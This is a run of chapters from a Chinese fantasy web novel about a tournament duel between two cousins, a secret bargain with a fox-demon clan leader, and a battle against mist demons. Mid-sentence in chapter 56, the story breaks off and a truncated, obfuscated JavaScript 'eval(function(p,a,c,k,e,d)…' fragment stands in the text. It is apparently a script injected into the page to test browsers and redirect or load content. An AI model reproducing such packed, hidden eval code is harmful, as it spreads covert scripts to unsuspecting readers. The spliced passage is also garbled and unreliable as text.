你与思月不过几面之缘,纵然佳人绝世,你也不应情根深种,你想去找镜双子,是为了什么?不忍她陷入危险所以帮她?还是去见比她更加出彩的容貌以求忘却? 柳恒舜嘿嘿一笑:“你猜?” 云修泽一脸被他蠢到了的表情。 “无论是为什么,都是胡闹!” 柳恒舜拍着桌子哈哈大笑起来。 “哈哈哈哈!!!你可太像我爹那个小老头了!!!” “我不介意你喊我爹。” “去去去,没大没小的。” 云修泽无奈,觉得自己最近叹气叹的尤其的频繁。 “我不懂你,你既然心系她,上次又为什么要把她往外推。” 柳恒舜晃了晃酒杯。 “那姑娘伶俐得很,看出了我的心思,竟然在擂台上拿命赌我对她手下留情,上次我能及时停手,下次可就不一定了,我若不那么说,她保不齐还会再来一次,她受得了,我可受不了。” 他幽幽说道。 “她能这么对我,就有可能这么对其他爱慕者,这种事,总归是有风险的,我人生的风流倜傥,心地也是一等一的善良,自然要给她提个醒。” 云修泽哑然失笑,他这风流的表兄竟是个情种,笑着笑着又有些心酸,思来想去,也知道说再多也没什么用了,只能带着些生硬的说道。 “无论如何,你都要放弃去找镜双子的念头,她绝不会希望你这样做的,反而可能会因此讨厌你。” 柳恒舜一顿,笑道。 “我以为,她现在就已经很讨厌我了,毕竟我伤了她的护卫,又出言不逊。” 云修泽摇了摇头,唐思月真讨厌一个人的话只可能翻来覆去,睡不着也要想办法把人毒死,那姑娘温柔是一回事,下手毫不留情是另一回事,柳恒舜还好好的,嗯,很健康。 “你答应我,放弃这件事。” 柳恒舜满脸不耐烦地摆了摆手。 “你打得赢我我就放弃。” 他说的随意,可云修泽知道他是认真的,他站起身来,居高临下地说。 “一言为定。” 柳恒舜头也不回的摆手赶他走。 云修泽动身离开,走出门时,他回头,看到柳恒舜仰头饮尽了杯中酒,去拿酒壶,酒壶也已喝尽了,他壶口向下晃了两下,只有可怜的一滴滑了出来。 他似乎是笑了,肩膀振颤着,松手将酒壶扔了下去。 云修泽敛眸离去,无论是痛苦还是什么,他都不会将他放任。 56. 协济三十二 枪乃百兵之王,挥舞起来虎虎生风,能给对手带来极强的压迫感。 主要优势就在于它的攻击范围,可在这个灵力可以外溢,无视距离攻击的世界,似乎已经失去了作为百兵之王的资格,反而会因为本身的重量带给使用者一些不必要的负担,所以也很少有人会去修习。 但这‘笨重’的枪,在柳恒舜手中似乎就成了一个更加恐怖的杀器,至少在云修泽的认知中,他还从没见过比柳恒舜用枪用的更好的人。 他使得这杆枪名为‘危止’,在云修泽的记忆中,这杆枪曾经无数次挑开过他的防御,他也曾无数次将其压制,可是那都是很多年前了,现在他的实力如何,尽管有之前那场二对二的比试打底,他也不敢断言究竟到了何种程度。 隐世大族柳家未来的家主,无论是脑子还是实力都绝对是这一代人中数一数二的存在。 云修泽感到手中的禇闲在不断地嗡鸣,见到了老朋友,它也兴奋了起来。 柳恒舜拿着的扇子顺着扇骨分为了十六个像是飞刀一般的利器,被他震飞,速度极快的在场中飞舞,每一个的飞行轨迹都不相同,乍一看还十分凌乱,但实际上乱中有序,不但没用影响他们自己人,而且还能不断地给云修泽他们这边制造一些伤害不大但很麻烦的攻击。 对付熟悉又陌生的对手,云修泽有自己的方法。 早在一天前,他就已经和几人商量好了合适的阵型,最大程度的保证几个不熟悉他的队友不被他带入到他的节奏中去。 这些扰人的小玩意明显就是在刺激他们,想让他们自乱阵脚。 云修云心性最活泼,也是最先沉不住气的。 他皱着眉头,心绪有些浮动,总有冲动脱离几人的配合,不想其他,先把这些小东西打下来完事。 柳恒舜了解他,这个主要针对的也是他,若是从前,云修云估计就已经要按捺不住。 但云修云跟着他哥历练到现在也不是一点长进都没有,所以尽管再烦躁,也都忍着没有扰乱阵型。 见他没有中计,柳恒舜也没有不满,反而有点欣慰之情。 那个总被打扮成小姑娘,跟在他们身后的小弟弟,也已经长大了。 欣慰归欣慰,下手是一点没留情。 对手是身家底蕴同样深厚的人族,明显就比妖族更加难以对付。 人族太擅长配合了,在人数多的对战中,几乎不会像妖族那样出现一人独大或者单打独斗的情况。 两方同时感到了对方的难缠。 台下的看客看得眼花缭乱,惊叹连连,对于他们来说,这两支队伍都是黑马,是之前从没听说过的人物,今年却都双双闯进了前八强。 “那几个人干嘛在台上跳来跳去的?可以攻击的时候怎么还后退呢?” “蠢货!那是他们在打配合,人族可狡猾了!” “比狡猾还能比得过我们妖族的白女狐吗?” “你们说他们谁能赢?” “第七洲吧......他们都打败了四族了,可这个万春夏好像也挺强,他们上一场打的那堆秃驴不也是人族吗?” “哎!你们下注了吗?” “嘿嘿嘿,我下了我下了!我两个都下了,这样他们谁输我都输不了!嘿嘿嘿。” “......” “你是猪精吗?” “你怎么知道!?” 台上,柳恒舜矮身挽枪从背后换手,一个横扫,将云修泽逼退。 云修泽后退一步,又马上蓄力冲过来,余光中瞥见有其他柳家子弟过来,就马上一个侧翻躲过了挨着身体两侧划过的武器,同时禇闲也削断了柳恒舜的一缕长发。 本来柳恒舜是可以躲过的,但唐思月的干扰让他不受控的慢了一瞬。 柳恒舜眉头紧皱,眼睛快速横扫,马上就找到了唐思月的位置。 他低声快速说道。 “先解决唐思月!” 其余人默契点头,快速调整站位,找到了他们的破绽,马上就要去攻击唐思月。 唐思月眼神平静,脚下步伐不乱,从容几步就再次回到了同伴们的保护圈中。 柳恒舜眼中滑过一丝满意,又马上消失无踪。 手中的危止枪身划过一道不显眼的暗光,然后就爆发了一股极其具有威慑力的气息,将面前的云修云和明青逼退。 云修泽眼神慎重,他从没见过这个,也不知其威力,为保万全,就让明青和云修云暂时撤离了他的附近。 此时柳恒舜给人的感觉和之前明显不同,隐隐有种和手中的危止和为一体的样子,瞳孔也彻底变成了和枪身一样的墨色。 在这个状态下,他各方面的能力都得到了进一步的提升,速度也不再是他们轻易可以阻拦。 他拿着枪的手腕微微转动,身体也微微下沉,这是他准备强攻前的一个小习惯,但这个习惯其实并不好,反而是一个微小的破绽。 但这不是问题。 柳恒舜余光扫过不远处的云修泽,知道他这个习惯并且有能力阻拦的,在场只有云修泽一个,而这个破绽维持的时间只有极短的一瞬,云修泽绝对赶不过来。 “噗!!!” 柳恒舜不可置信的吐出一口血来,他的身体被压低,有利器入体的声音,同时后背传来了同族师妹的痛呼。 他回头,是行愿抓住了这极短的一瞬刺来,被离他最近的师妹飞身挡下。 余光一扫,剩下三个师弟也往这边赶来,阵型瞬间就乱了。 柳恒舜咬牙,这个行愿太容易让人忽视了,对手人一多,哪怕会专门分给他一些注意力,也还是容易不由自主地降低对他的警惕心。 云修泽一定把他这个破绽告诉他的同伴了,是他没转过心思来。 师妹重伤,但还没有失去神智,她的右手握上行愿的刀身,手腕上看起来像是装饰的几个铃铛就幽幽转了起来,中间连接的绳变得柔软纤长,就像是裹着蜜糖的毒蛇,顺着刀一路缠上了行愿的手臂。 两人的缠斗仅在一瞬间,师妹被甩下台,行愿的衣袖撕毁,整条手臂布满了血痕,有数条深可见骨,不断渗出鲜血,已经无法执刀。 他将刀换至左手,一握便是猩红一片。 柳恒舜没有回头加入他们的战局,反而继续向唐思月冲去。 他的速度快出了残影,几乎是一个眨眼的功夫就到了唐思月的面前。 唐思月向后快速退去,同时拨弦阻挡。 柳恒舜打碎她的所有进攻,眼神冷冽。 挥枪砸下,此击重极,足以让她退出这场战局! 钪呛——!!! 兵刃交接。 禇闲与危止嗡鸣相触。 云修泽挡在唐思月面前,面上带笑,眼神则带着认真。 “伯言,坏习惯还是要改啊。” 柳恒舜嗤笑。 “好弟弟,等你打赢哥哥再说吧!” 柳恒舜拨开他,毫无留恋的继续向唐思月冲去。 唐思月对他还好,主要是对几个师弟师妹影响太大,不先淘汰她,要获胜就几乎没有可能。 他的冲势太强,云修泽被拨开后继续挥剑去挡,只不过应该是挡不下来。 唐思月卡了一个很巧妙的时机,音符在枪与剑交接的那一个瞬间,顺着那细微震动攀上了柳恒舜的身体。 柳恒舜的手微微一麻,没能马上把云修泽甩开,就这一顿,枪下的剑就变成了两把。 明青扶住云修泽的肩膀,正如深流支撑住了禇闲。 云修泽和明青从初遇开始就有着旁人难以企及的默契,他们思考问题的方式、战斗的思路都高度重合,所以总是能很快的领会到彼此没有说出口的话。 两人合力,短暂的下沉后,就直接将柳恒舜逼了回去。 柳恒舜后翻卸力,退了几十步后才勉强停下来。 乌冷的枪尖划破翻起的尘雾,他故作轻佻吹了个口哨。 “果然是夫妻同心,其利断金啊。” 他们的阵型早在刚刚行愿突袭柳恒舜时就已被打乱,云修云抓准时机攻上前去,没有给他们重新排列的机会。 行愿淘汰一人,现在场上还有四人,伯言哥由大哥对付,行愿大哥掠阵,自己和明青姐主要对付剩下三人。 云修云有些紧张的吞咽了下口水。 对面的这三人是三兄弟,也是柳家除柳恒舜以外仅有的嫡系的子弟,也可以算是看着他长大的,从小切磋没断过,他也没赢过,此时对上,难免有些心虚。 司越剑起,灵光漫溢在剑身,他的灵力附在司越剑上会呈现一种很浅的淡蓝色光芒,是铸剑的材料特殊导致的。 此时这抹淡光令人眼花缭乱的飞舞在三人中央,以一对三一时间竟也没有落了下风。 云修云心中一喜。 这段时间的历练这么成功吗?他这么牛逼了吗? “嘿嘿,青玉啊,好久没见,哥哥们疼你,教教你,人要戒骄戒躁啊。” 三兄弟中的一个笑嘻嘻的说完,就一下打在云修云的手腕上。 云修云只感觉手腕一疼,握剑的手下意识就要松开。 战斗中兵器离手就基本不会再有翻身的余地,从前切磋到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不在乎你自己,你怎么不为你师弟师妹们着想,你若真的夺魁,面对各方的截杀,你能逃,他们跑得了吗?” “我自有打算。” 见语言无法让他动摇,云修泽也不再废话。 柳恒舜确实比之前强了不少,可云修泽也没有一直在原地踏步。 两人就闷头打,直到场中其他所有的对局都结束了,不约而同地来围看他们,他们还没有分出高下。 按理说打到现在还没有明确的局势,就证明两人势均力敌,可以不费那么多功夫,按平手算了。 但两人没一个有要停下的意思。 明青也暗暗心惊,年轻一辈她基本没见过可以和云修泽打成这个样子的人,就连她自己也不能以这种正面硬刚的方式和他僵持这么久。 台下众人的心思台上的两人一概不知,他们的眼中已无法容下除对方以外的第二人。 在众人看来,他们虽然是谁都不能拿对方怎么样的样子,可实际上柳恒舜知道他已经力竭,无论再拖延多长时间,也只有输这一字。 在又一次分开的间隙,柳恒舜停了手。 危止在他手中转了个圈,点地发出可以听出重量一声响动。 柳恒舜也在一瞬间解除了战斗时的模样,眉眼慵懒,恢复了平日浪荡公子的模样。 他长叹一口,摇头。 “子竹,这条路对你来说也同样危险。” 云修泽沉默一瞬。 “我有势必往之的理由。” 收剑回鞘。 “伯言,你输了。” 危止消失在他的手中,折扇也没被拿出来。 他抬手伸了个懒腰,歪头摸了摸脖子,垂眼笑道。 “是,我输了,你放心,我会遵守我们的约定的。” 柳恒舜走了两步跳下台,一边走一边招呼师弟师妹。 “走了走了,买点特产去,回去哄哄老头子。” 云修泽站在台上看着他的背影,有些于心不忍的同时,又觉得他仿佛是放下了些什么,变得轻松许多。 云修泽回到同伴身边,见几人围过来你一句我一句的分析分析局势、关心关心他的伤势、又挨挨蹭蹭的查探他的伤口,不由得心中一暖。 他长臂一展,抱住了云修云和行愿,脸上的伤让他变得狼狈,他笑得呲牙咧嘴,说道。 “走!我们回家!” 57. 协济三十三 历来白界大比都有一个约定俗成的规矩,那就是会在结束后五天的时间内举行一次酒会。 人妖两族近年来无论背地里再怎么暗流涌动,在明面上都有着看得过去的交情,这次酒会同样打着‘友好交流’的名头,邀请了大比的前十名。 当然,得来的东西也会在这次酒会上交到众人手中。 从酒会存在至今,还没有出过什么大的岔子。 只不过今年有些特殊,魁首的战利品中,有了一份人人趋之若鹜的宝物。 所以这场酒会,现在更像是专门为魁首准备的鸿门宴。 而魁首现在就将从雾面影和第七洲中出现。 离最后一次比试还剩...... 三天。 明青发现云修泽在有意无意的带着她熟悉马厩中的马匹,让那些马儿认可并且亲近她,而他自己则有些心不在焉。 明青坐在马背上,看着前方为她牵绳,心思却不在这儿的云修泽。 “那场酒会你心中已有成算。” 这话好像是在问他,但语气又像是肯定一般。 云修泽被她从自己的思绪中拉回来,回头一笑,拍了拍马颈。 “是啊,这不是正在做准备嘛?” “你为何不跟我们商量?” 云修泽没太放在心上。 “你们身上的伤都没好全,就我一个好的七七八八,我不多费心思,还要去劳动你们这些伤患吗?” 明青抿嘴,觉得他是在避重就轻,刚想追问,就又听他说道。 “阿微,帮我个忙吧,帮我把灵族长约到方若阁去,越快越好,我有事要和她商量,记得让她藏好狐狸尾巴。” 到了问鼎时刻,盯着他们的眼睛只会越来越紧,若是这个时候让灵儿到他们这里来,恐怕她前脚刚迈进沁园的大门,后脚这个消息就会被呈在他人的书案之上。 而方若阁的客人鱼龙混杂,隐藏身份者更是大有所在,在那里会面就要安全许多。 他叫着她的本名,满脸真诚,上面写着三个大字,求帮忙! 明青不太想理他,但也知道这个讨嫌鬼轻易是甩不开的,所以过了一会儿,还是妥协道。 “可以,但我要跟你一起去。” 云修泽眼睛弯弯,又顺了一把马的鬓毛,笑嘻嘻的说。 “你还是抓紧时间和它们混混熟吧,有大用呢。” 说着,一拍马屁股,马就嘶鸣一声,一副不顾背上之人死活的样子,急速跑了出去。 明青猝不及防被马带走,耳边除了风声,还有他在背后哈哈大笑的声音,在颠簸中,她第一次有了不顾礼教开口骂他的冲动。 这个混蛋! * “你说什么?” 方若阁中,伪装成人族女子的灵儿可笑的问道。 在她的对面,坐的并不是客人,而是方若阁的一个跑堂。 那跑堂样貌普通,身形也不高大,开口却是云修泽的声音。 “灵族长,你的耳力在妖族也是排的上名号的,何必再多问这一嘴呢?” 云修泽赴约,一出沁园,就果不其然察觉到了不少窥视的眼睛,他利用轻功一路将那些人甩开,到了方若阁又打晕了一个跑堂,装成他的样子才来见灵儿。 灵儿仿佛是听到了什么笑话,语气阴晴不定的问他。 “你是在要我一个妖族族长,帮你这个人族提前拿出大比的头彩,并且帮助你们逃跑,是吗?” 云修泽的笑容变都没变,仿佛提出这个厚脸皮要求的人不是他一样。 “撤离,灵族长,你也不用跟我绕弯子,我知道这件事你是有能力办到的。” 灵儿被他气笑了。 “我有我就要帮你吗?” 云修泽摇头。 “自然不是,我敢跟你提出来,就当然对你也有好处。” “哦?”灵儿挑眉,一副看他唱戏的表情。 “那你倒是说说,对我有什么好处?” 云修泽用手蘸了蘸杯中的茶水,在桌子上点了一个水点。 “明青是你的救命恩人,同时也是你的至交好友,那场鸿门宴,我们不能去。” 灵儿伸手在水滴上一抹,那个水滴就像是从未存在过一样消失在了桌子上。 “先不说你们为什么这么有自信能够赢过雾面影,就单说你给的这个理由,在我这里也不存在。” 她表情冷漠。 “鸿门宴又如何?我有能力能保下她,我也只想保她一个,就算她身受重伤,我也有信心帮她吊住性命。” 云修泽轻笑,好奇的问她。 “你不怕她恨你?身为好友,不帮她走她想走的路就算了,还在有能力的情况下,让她眼睁睁的看着自己的同伴去死,留她一人独活?” 灵儿嗤笑一声。 “你在说什么?她?她只会恨她自己,不过我才不在乎,对我来说她活着就足够了,至于她的心情如何,不在我的考虑范围之内。” 云修泽轻拍手掌,感叹道。 “真是感人肺腑的姐妹情。” 灵儿的眼睛闪过一抹金色。 “我们彼此彼此,你拿她威胁我,又何谈是照顾了她的心情呢?” 云修泽无辜的摇头。 “你可不要血口喷人,我只是阐述一个事实,从未拿她当交换条件一样威胁过你,咱们就是普通说话而已,明青惦念好友,我还专门带了留音珠来,等回去放给她听,以解她的忧愁。” 说着,他的手中就出现了一枚淡红色的珠子,被他捏起来放到眼睛的前方,让灵儿正好透过那枚珠子,看到了他眼中仿佛是得逞的笑意。 没有用过的留音珠都是统一透明的,只有用过的,才会随机出现颜色。 灵儿的脸色骤变,眼神阴冷,周身也渗出了一丝妖气。 “你威胁我。” “怎么会?” 云修泽双手一摊,珠子就又消失在了他的手中。 “不过就是一个让灵族长能够安安稳稳,听我说完的一个保障罢了。” 灵儿将那丝妖气收了回去,只不过脸色依然很难看,她刚才的确有要走的意思,没想到竟被他提前预料到了。 “你说,我让你说,这点儿时间我还是耗得起的。” 云修泽一笑,好脾气的又重新在桌子上点了一个水点。 “历年来,头彩都由四族的族长和人族的长□□同掌控,你们之间之所以能够平安无事,不起冲突,全都是因为那头彩对于你们来说只是锦上添花,不值得你们为此撕破脸。” 灵儿没说话,示意他继续。 “可今年不一样了。”云修泽轻声说道。 “今年有镜双子的地图残篇,它是个棘手的麻烦,但同样也可能是个巨大的机遇,只要能够神不知鬼不觉的收入囊中,谁又能够给你找麻烦呢?” 灵儿眸色沉沉。 “你什么意思?” “我什么意思灵族长心里应该也清楚,这种明面上的鸿门宴,我们去了虽然可以全须全尾的离开,但暗地里谁使了什么手段,你们是分不清的吧?这地图最终落入谁的手中,你们也是不知道的,拿到它的,必然会做万全的准备,届时,四大妖族之间的互相防备,互相试探,恐怕就要再上一个楼层,也许整个妖族都会为此动荡不安。” 灵儿冷眼看他。 “我竟不知我在你心中怀有如此大爱,会为了所谓的妖族和平,冒着风险去帮你们这种忙?” 云修泽笑笑。 “灵族长稍安勿躁,这只是其中一个方面。” 他又在桌上点了一个水点。 “更重要的是,拿到它的也许真的能够就此一飞冲天,统一妖族呢?其他三族各有各的底蕴,可你们白女狐也是如此吗?到时,你能保证你们不会被吞并、亵玩,甚至于抹杀吗?” 云修泽装模作样的叹道。 “你年纪轻轻成为族长,可并不是因为你的能力已经出众到了足以肩负整族命运的地步啊。” 咔嚓! 灵儿面无表情的捏碎了茶杯,滚烫的茶水从她已经妖化的手指缝隙中流下来。 云修泽并没有因为她的怒气而受到影响,眼神从她捏着茶杯碎片的手上一扫而过,稳如泰山的接着说道。 “所以你帮我们也是在帮你自己,帮我们把东西提前拿出来,除了地图,剩下的东西,我可以分给你们三成,而你只需要瞒过其他三族的族长,人族那边你不用管,我可以搞定,怎么样?成不成交?” 灵儿冷静了许多,松手把那堆碎片丢到一边,站起身,面无表情的说道。 “五成。” 云修泽唇角一勾。 “成交。” 他手掌一翻,那枚留音珠就又出现在了他的手中。 云修泽屈指一握,珠子就碎为了齑粉。 “我的诚意。” “笑的真恶心。” 说完这句话,灵儿就冷着脸转身离开了。 云修泽的心情并没有被她影响,反而很不错的样子,哼着曲儿,翘着的腿轻轻晃了晃,片刻后,伸手把桌上的水点拂去,决定顺路再去看看柳伯言。 柳恒舜这次身边倒是清净的很,自己一个人坐在房中写着什么东西。 云修泽象征性的敲了敲门,没等里面应声就自己推门而入。 柳恒舜抬头见是个有点眼熟的跑 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柳恒舜见他不听到答案就不罢休的模样,开始认命的思考起来,眼神转了转,就开始出神的盯着某处,云修泽也不催他,片刻后,他说。 “最开始是因为她实在是美得摄人心魄,然后我连夜查了查她的事情......” “你先等等!” 云修泽揉了揉额角。 “你连夜查她?了解姑娘是这么个流程吗?而且我没记错的话,那晚你喝醉了吧。” “哎呀,知己知彼嘛,我总得知道还有多少人心悦她,而且要是青玉不行,我还有处使力气,再说了,我喝醉了,我身边的人又没有,说句话的事儿而已,别打断我了,再打断我可不说了。” 云修泽抽了抽嘴角,示意他继续。 “后来了解到她的身世,对她感到佩服,也有怜爱,再后来从这里见到她,又觉出许多好处来,不知是不是情人眼中出西施的缘故,我总觉得她没有一处是不完美,是不合我心意的。” 他喃喃道。 “这样的人,竟然是真实存在的吗......” 他转头看向云修泽,有些困惑的问道。 “而且你不觉得她的气质很复杂吗?平日里温柔娴静,但偶尔又能从她身上见到果决狠辣,一人独处时又感觉很孤独,有的时候看着别人就像是没什么感情似的。” 他笑了笑。 “不过就连这样的复杂我也喜欢就是了。” 云修泽没有深想他的话,毕竟他来这里的目的也不是为了和他这位表兄谈感情。 “那看来你对她真不是一时兴起啊。” “对她一时兴起?你可太冒昧了。” 云修泽:“伯言哥,你准备什么时候回去啊?” 柳恒舜迟疑,总觉得他的狐狸尾巴又摇起来了。 “你不是遇到关于姑娘的问题了吗?突然问这个做什么?” “可怜我们思月,身体不好也要随我们一路颠簸,之后拿到地图更是要日夜兼程的赶路,本来就有些勉强她了,你说说,还要面对各个势力的追杀,真是太不容易了,伯言哥,你觉得呢?” 图穷匕现。 柳恒舜木着一张脸想道。 “好你个云子竹,算盘珠子真是盘的啪啪响,物尽其用算是让你领悟透彻了。” 云修泽嘿嘿一笑,殷勤的斟了杯茶送到他的手上。 “我们兄弟俩孤苦无依的被赶出来,哪像好哥哥你,身边定然还带着长老吧,就算你不想着我们,也总要顾念一下心爱的姑娘,不是吗?” 柳恒舜心情复杂的接过那杯茶,喝了一口,说道。 “快滚吧。” “得嘞,您慢用。” 云修泽知道他这是答应了,像模像样的甩了下肩膀上的汗巾,做足了跑堂的派头推门离开,只剩柳恒舜自己在那里头疼的叹气。 回到沁园,云修泽找到明青,从她那里借来了昆天谷的弟子令,修书一封,派灵鸟送到了大弟子周彦止的手中,等他看过后自然会递交给昆天谷的长老。 周天山在昆天谷中地位超然,有央玉在上,想让昆天谷对他们睁一只眼闭一只眼并不困难,而其他的人族门派又以昆天谷为主,只要他们表态,其他人也不会有大问题。 云修泽看着灵鸟的身影消失在天际,紧绷的神经才终于松懈了几分。 很早之前,他就已经开始研究白界附近的地形,到现在为止也算是尽人事了,剩下的就是听天命。 但现在最要紧的,还是三天后跟雾面影的比试,而三天的时间,转瞬即逝。 58. 协济三十四 从上次云修泽和影玖打过之后,雾面影就再也没有出现过。 不过看他之前的样子,应该也不是要放弃,云修泽反而更担心他憋什么大招。 五人一起前去,路上,唐思月总是欲言又止。 云修泽停下脚步,奇怪的问她。 “怎么了?有什么心事吗?” 唐思月迟疑的说。 “老大......能不能答应我一个事情?” “你说。” “影玖性子顽劣,上次说要弄伤你的脸,如果他真这么做了,老大,你能不能别把他的脸也弄伤?可以打别的地方。” 云修泽疑惑。 “可以是可以,但是为什么?” 唐思月点了点鼻子,避开眼神,有些难为情的说道。 “因为我发现他长得和我一位旧友有几分相像,若是脸上留下伤口,总会让我觉得是留在旧友身上。” “诶——”云修云有些意外。 “思月,你以前不都大门不出,二门不迈的嘛,怎么会认识和影玖长得像的好友?” 唐思月嗔怪。 “我只是生活的低调,又不是被关禁闭,与世隔绝了。” 美人嗔怒,云修云自然不再讨嫌,转而看向行愿。 “那行大哥呢?会不会在他身上找到故人的影子?” 行愿轻轻摇头。 “我没见过他,只是听说过。” “嗯......”云修泽问,“那他现在在哪儿?怎么你家出事的时候没有在你身边?” 唐思月表情几乎是一下子就冷淡了下来,嘴角仅存的一丝笑意也很快消失。 “他已经死了。” 众人皆是一愣。 云修泽看着她平静的双眼,突然就感觉到了柳恒舜所说的,她身上拥有的那种矛盾复杂的气质。 一路走到现在,唐思月的琴技有了不小的进步,性子也比一开始活泼了许多,只有身体还是一如既往,说不上缠绵病榻,却也总是虚弱着。 这姑娘还有一些他们未曾触及的过往,是那些一起成为了她鼓起勇气,拖着病体和他们成为死生同伴,走到如今的理由吗? “和镜双子有关吗?”云修泽问。 唐思月轻轻嗯了一声。 明青揽住她的肩膀,安抚一般摸了摸她的头发。 唐思月有点儿孩子气的撇撇嘴,把头埋进了她的怀里。 云修泽也揉了揉她的头发,温和的笑道。 “好,我答应你,不会弄伤他的脸的。” 他的手劲比明青要重上不少,不过唐思月并不讨厌。 五人继续走着。 白界可算不上什么安全的地方,所以他们走在路上也并不会放松警惕。 云修泽和明青在最前方,行愿断后,中间是唐思月和云修云。 云修云拉着唐思月让她放慢了一些脚步,又回头看了看行愿。 才带着几分委屈小声问道。 “思月,你喜欢你那个朋友吗?” 唐思月沉吟片刻,反问道。 “什么样的喜欢?像是喜欢老大,喜欢明青,喜欢行愿一样的喜欢吗?” 云修云敏锐的察觉到了什么,呼吸紧了紧,手掌在下摆上搓了两下,有些期待又有些害怕的问她。 “那你对我的喜欢,和对他们的喜欢......不一样吗?” “嗯......” 唐思月盯着他思考了片刻,一敲手掌,果断又开朗的笑道。 “对你是喜欢小狗的喜欢!” 云修云一个趔趄差点摔倒。 “小......小狗???” 唐思月莞尔一笑,像翩翩蝴蝶一样加快了速度向前飞去。 “小狗多可爱!” 云修云单手撑腰,低头摸了摸鼻子,无奈又高兴的喃喃自语。 “好吧......小狗就小狗......小狗多可爱......” 最前方的云修泽和明青相视一笑。 走在后面的行愿则无言绕过了这个处在路中间,嘿嘿傻笑的傻狗。 到了擂台上,见到影玖,云修泽就有些不好的预感。 他扫视对面的五只妖,如果他的记忆没出错的话,那他们应该都消瘦了不少。 妖和人不同,他们会本能的将体型控制在最适合自己的状态下。 现在这种情况,显然是不正常的。 云修泽微微皱眉,直觉这将是场硬仗。 “云修泽,做好被我扒皮的准备了吗?” 影玖的声音阴郁沙哑,像是已经成为强弩之末一样,可他散发出来的强盛妖气却赫然否定着这一点。 难不成他们修行了什么邪法? 云修泽脑子拐了个弯儿,不着边际的想着。 可他们本来也是妖,邪法对于妖来说也是邪法吗? 殊不知他这一走神儿就忘了回话,直接让影玖理解成了看不起他们。 影玖气的浑身哆嗦,咬牙切齿的低吼。 “雾、面、影!姓云的!今天就让你好好瞧瞧小爷的厉害!!!” 云修泽回过神来,莫名其妙的看着对面气成糠筛的妖,摸不着头脑,但规规矩矩的回了一句。 “第七洲,请。” 今天的对决可以说是万众瞩目,无数的视线落在擂台上,不再有窃窃私语,全都屏息等待着这一届盛事魁首的诞生。 今日艳阳高照,对于云修泽他们是有利的。 考虑到雾面影的特殊性,他们不再像之前一样维持松散但有形的站位,而是更紧密了一些,确保能够及时支援同伴。 同时他们也不再放任唐思月,让她花大功夫自保,而是轮流交替着守在她的身边。 她拨响琴弦,场中就出现了一道无形的气墙,将影环吹来的带有腐蚀性的浓雾推了回去。 对面被迫分散开来。 云修泽从影玖的上方下落,剑势锐不可当! 影玖伸手一点,黑色的雾就遮挡住了他的视线。 等云修泽拧身破开那团雾气,落在地面的时候,影玖就已经不见了身影。 他扭头在场中快速的寻找着。 就看到影玖出现在了云修云身后。 黑雾下似乎是勾起了唇角,以肉眼看不清的速度迅速出手。 云修云浑身一震,瞳孔有了片刻的涣散,鲜血从他的口中骇然涌出。 但他没有倒下,稳住身形后迅速回身,给了他一记腿鞭。 影玖抓住他的脚腕,被逼的向后退了一步,然后就像鬼一样贴脸靠近了他。 他伸出长长的尖爪,在云修云脸上留下一道血痕。 看着他与云修泽有几分相似的面孔,愉悦的说道。 “这个开胃小菜真是再合我心意不过了。” 忽然他动作一停,松开紧抓着脚腕的手,一个侧身,险而又险的躲开了从背后刺来的深流。 “哦呀,同样的招数可不要在我身上使第二次啊!” 明青没理会他的话,动作极快,让人目不暇接。 云修云也与她配合,知道自己跟不上她的攻击速度,就不给她添乱,只在一旁见缝插针的协助。 以一对二对于影玖来说还是有些难度的,所以在接了几招后,整个身体就沉入了脚下的影子中。 云修泽警惕的持剑四顾,听到唐思月忽然喊道。 “老大!东南方!六步!” 云修泽毫不迟疑往那处赶去,影玖果不其然出现在那里。 云修泽先发制人,几乎抹了他的脖子。 不过影玖的反应速度也很快,及时让自己的要害局部化为了黑雾,但就算如此,也受了不轻的伤。 影玖捂着脖子,咬牙恼怒的退开,狠狠瞪向了唐思月的方向。 在这场多人战局中,云修泽无法像上次一样使用大规模的灵力风暴。 而实力高强的人或妖在过招时,往往都在眨眼之间。 莫说旁人看的眼花缭乱,就连身在战斗中的他们自己,也是无法很好的观察战局。 但是唐思月是个例外,她作为辅攻的身份,就已经奠定了她要时刻观察队友和对手的基础。 而唐思月早在他们被迫分开,又重新调整站位的时候就发现了端倪。 妖族是没有互相配合,互相掩护的概念的。 那他们这么做肯定是有重要的原因,影玖消失,从其他四人的站位,就可以大致推测出他会出现在什么地方。 影玖也知道此人已将他们看破,再拖下去也没什么好处,所以干脆低喝一声。 “都过来!!!” 唰唰唰! 其余四个雾面影围到他的附近,五妖同时开始低声吟唱音调古怪的咒语,脸上遮面的黑雾就像是有生命的火焰一样,剧烈的扭曲燃烧。 他们压低身体,微张着双手,手中源源不断的黑雾涌出,炊烟一样直飘向了天际。 云修泽迅速拉开了与他们的距离,皱着眉,心中沉沉。 原本晴空一片的天色,居然在这声声的低语中暗淡了下来,乌云聚集,阴沉沉的布满了整片天空。 云层被压低,汇聚起来的阴云有垂天之势,让在场的万万人众都感到了一种令人无法喘息的压抑。 看台上的灵儿骤然起身,圭许的脸色也沉了下来。 灵儿的眸中盛怒,还有几分被隐藏的很好的恐惧。 “雾面影居然能改变天象吗?他们竟然藏了这么多年!” 身后的令苏扶住她的肩膀,轻拍安抚,但也一言不发,垂着眼不知在想些什么。 云修泽神情严肃的望天。 “大家靠一起,要小心了。” 四人背靠背,将唐思月围在中间。 明青快速说道。 “坚持住,他们肯定维系不了太久。” “没错。”云修泽双眼一眯。 “这个能力对于雾面影来说肯定不是能轻松施展的,不然妖族也不会是现在这个样子,也许他们需要透支什么,或者说,这就是他们在短时间内习得的,无论哪一种,他们都坚持不了太久。” “猜对了~” 一双手突然从底下冒出来,抓住了云修云的脚腕,同时一颗头也顺着浮上来。 这不是影玖,听声音,应该更年少些。 云修云本来就受了伤,看来是被他们当成软柿子了,要从他这里突破。 云修云在被抓住脚腕的那一刻寒毛就竖起来了。 他僵硬的低头,就看到一颗看不见脸的头幽幽浮上来。 云修云双眼发直,一个深呼吸,就把那个头又坚定的踩了回去。 刚想出手的其余四人:“......” 没反应过来被踩回去的雾面影:“......?” 云修泽眨眨眼,突然想起来云修云小时候好像是怕鬼,不过这算是战胜恐惧吗? 